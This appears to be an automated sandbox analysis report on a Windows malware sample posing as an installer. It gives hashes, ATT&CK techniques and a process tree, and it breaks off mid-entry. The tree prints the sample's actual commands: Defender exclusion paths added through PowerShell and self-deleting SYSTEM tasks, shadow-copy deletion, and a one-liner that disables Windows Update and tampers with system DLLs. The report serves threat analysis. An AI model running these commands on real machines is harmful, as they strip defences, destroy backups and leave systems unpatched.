f9f9a54fc587378fa59ad86a34d211c4d88b385383de9d853d36a01847c57405

Analysis

max time kernel
140s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/10/2026, 01:56

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General

Target
install.2.0.05.exe
Size 34.6MB
Sample261023-ccrnfsbv5k
SHA256 f9f9a54fc587378fa59ad86a34d211c4d88b385383de9d853d36a01847c57405
MD5 00ac4fc23fcb584490b7c30205796f19
SHA1 41b231743b7346f87f8cb7b0bf7780d5df030c0e
SHA512 dd815846dca2d3eeaca9c035509d76011dfd824a21f56399b1ad4130c92875151800ee218787788b78eec424b6faa2ad9ecbc46252aecd5ad56bba6b251af48f
SSDEEP 98304:T6ukQmHTpksa7ffG6slKxMzfM3nJ76KVfMYrvjgAC:WukQmH0HmKxofM3nl6UfMYrLgAC
TLSH
T1AB876F22B6428CD2F00285F45897BBA427FEFCB18AD1C71336E95B1E6FAE18C8D57055
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\MRrbSP = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2756	powershell.exe
1436	powershell.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
1460	icacls.exe
3240	icacls.exe
2500	icacls.exe
5536	icacls.exe
2628	icacls.exe
3244	icacls.exe
3716	icacls.exe
4512	takeown.exe
1204	icacls.exe
1308	icacls.exe
5292	icacls.exe
3632	icacls.exe
832	icacls.exe
4256	icacls.exe
2008	icacls.exe
4424	takeown.exe
5360	icacls.exe
4836	icacls.exe
5456	icacls.exe
5924	icacls.exe
1080	icacls.exe
4176	icacls.exe
4620	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 2 IoCs

pid	Process
4640	iQTihB.exe
5736	iQTihB.exe

Loads dropped DLL 2 IoCs

pid	Process
4640	iQTihB.exe
5736	iQTihB.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
832	icacls.exe
3716	icacls.exe
3240	icacls.exe
1204	icacls.exe
3244	icacls.exe
3632	icacls.exe
5456	icacls.exe
2500	icacls.exe
1308	icacls.exe
2008	icacls.exe
4836	icacls.exe
4424	takeown.exe
5924	icacls.exe
1080	icacls.exe
5360	icacls.exe
1460	icacls.exe
5536	icacls.exe
2628	icacls.exe
5292	icacls.exe
4256	icacls.exe
4176	icacls.exe
4512	takeown.exe
4620	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\MRrbSP\\iQTihB.exe\""	iQTihB.exe

Indicator Removal: Clear Persistence 1 TTPs 8 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5432	cmd.exe
3236	cmd.exe
5708	cmd.exe
5832	cmd.exe
4200	cmd.exe
1292	cmd.exe
2696	cmd.exe
5016	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	iQTihB.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\k7bF7n\k7bF7n.exe	iQTihB.exe
File opened for modification	C:\Program Files (x86)\k7bF7n\image.png	iQTihB.exe
File opened for modification	C:\Program Files (x86)\k7bF7n\thumbs.db	iQTihB.exe
File opened for modification	C:\Program Files (x86)\k7bF7n	iQTihB.exe
File created	C:\Program Files (x86)\k7bF7n\XPSPLOG.dll	iQTihB.exe
File created	C:\Program Files (x86)\k7bF7n\image.png	iQTihB.exe
File created	C:\Program Files (x86)\k7bF7n\thumbs.db	iQTihB.exe
File opened for modification	C:\Program Files (x86)\k7bF7n\k7bF7n.exe	iQTihB.exe
File opened for modification	C:\Program Files (x86)\k7bF7n\XPSPLOG.dll	iQTihB.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4664	sc.exe
1708	sc.exe
1328	sc.exe
2212	sc.exe
1052	sc.exe
4532	sc.exe
908	sc.exe
1252	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1840	cmd.exe
3144	cmd.exe
4944	cmd.exe
3048	cmd.exe
4852	cmd.exe
2668	cmd.exe
2356	cmd.exe
2324	cmd.exe
1236	cmd.exe
1568	cmd.exe
5284	cmd.exe
5288	cmd.exe
1788	cmd.exe
1732	cmd.exe
3004	cmd.exe
1876	cmd.exe
1684	cmd.exe
4980	cmd.exe
768	cmd.exe
4340	cmd.exe
5368	cmd.exe
5044	cmd.exe
3124	cmd.exe
1576	cmd.exe
4264	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.05.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.05.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	iQTihB.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	iQTihB.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3516	schtasks.exe
5540	schtasks.exe
2672	schtasks.exe
5076	schtasks.exe
4888	schtasks.exe
724	schtasks.exe
5584	schtasks.exe
2144	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4348	install.2.0.05.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe
4640	iQTihB.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeIncreaseQuotaPrivilege	2756	powershell.exe
Token: SeSecurityPrivilege	2756	powershell.exe
Token: SeTakeOwnershipPrivilege	2756	powershell.exe
Token: SeLoadDriverPrivilege	2756	powershell.exe
Token: SeSystemProfilePrivilege	2756	powershell.exe
Token: SeSystemtimePrivilege	2756	powershell.exe
Token: SeProfSingleProcessPrivilege	2756	powershell.exe
Token: SeIncBasePriorityPrivilege	2756	powershell.exe
Token: SeCreatePagefilePrivilege	2756	powershell.exe
Token: SeBackupPrivilege	2756	powershell.exe
Token: SeRestorePrivilege	2756	powershell.exe
Token: SeShutdownPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeSystemEnvironmentPrivilege	2756	powershell.exe
Token: SeRemoteShutdownPrivilege	2756	powershell.exe
Token: SeUndockPrivilege	2756	powershell.exe
Token: SeManageVolumePrivilege	2756	powershell.exe
Token: 33	2756	powershell.exe
Token: 34	2756	powershell.exe
Token: 35	2756	powershell.exe
Token: 36	2756	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4640 wrote to memory of 2756	4640	iQTihB.exe	91
PID 4640 wrote to memory of 5832	4640	iQTihB.exe	93
PID 5832 wrote to memory of 5540	5832	cmd.exe	95
PID 5832 wrote to memory of 1164	5832	cmd.exe	96
PID 5832 wrote to memory of 3080	5832	cmd.exe	98
PID 4640 wrote to memory of 4200	4640	iQTihB.exe	102
PID 4200 wrote to memory of 2672	4200	cmd.exe	105
PID 4640 wrote to memory of 1292	4640	iQTihB.exe	106
PID 4200 wrote to memory of 1464	4200	cmd.exe	108
PID 4640 wrote to memory of 2696	4640	iQTihB.exe	110
PID 1292 wrote to memory of 5076	1292	cmd.exe	113
PID 2696 wrote to memory of 4888	2696	cmd.exe	114
PID 4200 wrote to memory of 3464	4200	cmd.exe	115
PID 1292 wrote to memory of 2500	1292	cmd.exe	116
PID 2696 wrote to memory of 3916	2696	cmd.exe	117
PID 1292 wrote to memory of 2852	1292	cmd.exe	118
PID 2696 wrote to memory of 5312	2696	cmd.exe	119
PID 4640 wrote to memory of 5016	4640	iQTihB.exe	120
PID 5016 wrote to memory of 724	5016	cmd.exe	122
PID 4340 wrote to memory of 1644	4340	cmd.exe	124
PID 5016 wrote to memory of 1236	5016	cmd.exe	125
PID 5016 wrote to memory of 3752	5016	cmd.exe	127
PID 4944 wrote to memory of 5052	4944	cmd.exe	130
PID 5368 wrote to memory of 808	5368	cmd.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.05.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.05.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4348

C:\Users\Public\MRrbSP\iQTihB.exe
"C:\Users\Public\MRrbSP\iQTihB.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\MRrbSP\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5832
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\MRrbSP\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5540
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1164
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4200
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2672
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1292
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5076
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2500
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4888
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3916
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:724
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3752
- C:\Program Files (x86)\k7bF7n\k7bF7n.exe
  "C:\Program Files (x86)\k7bF7n\k7bF7n.exe"
  2⤵
  PID:4808
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:4852
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5044
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k7bF7n" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3244
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3048
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2668
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3124
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:1684
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:6072
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:5108
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:1708
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4664
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:5736
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:3288
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:1328
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1252
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:3920
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:5884
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:2212
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:908
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:2428
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:4892
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4532
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1052
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4512
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3716
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5360
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5924
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4424
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:832
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4620
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5456
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:4244
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:3104
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:1304
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1436
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\k7bF7n\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5432
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\k7bF7n\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5584
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5504
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5552
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:768
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k7bF7n" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1308
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:3144
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k7bF7n" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1204
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n\k7bF7n.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1568
  - - C:\Windows\SysWOW64\icacls.exe
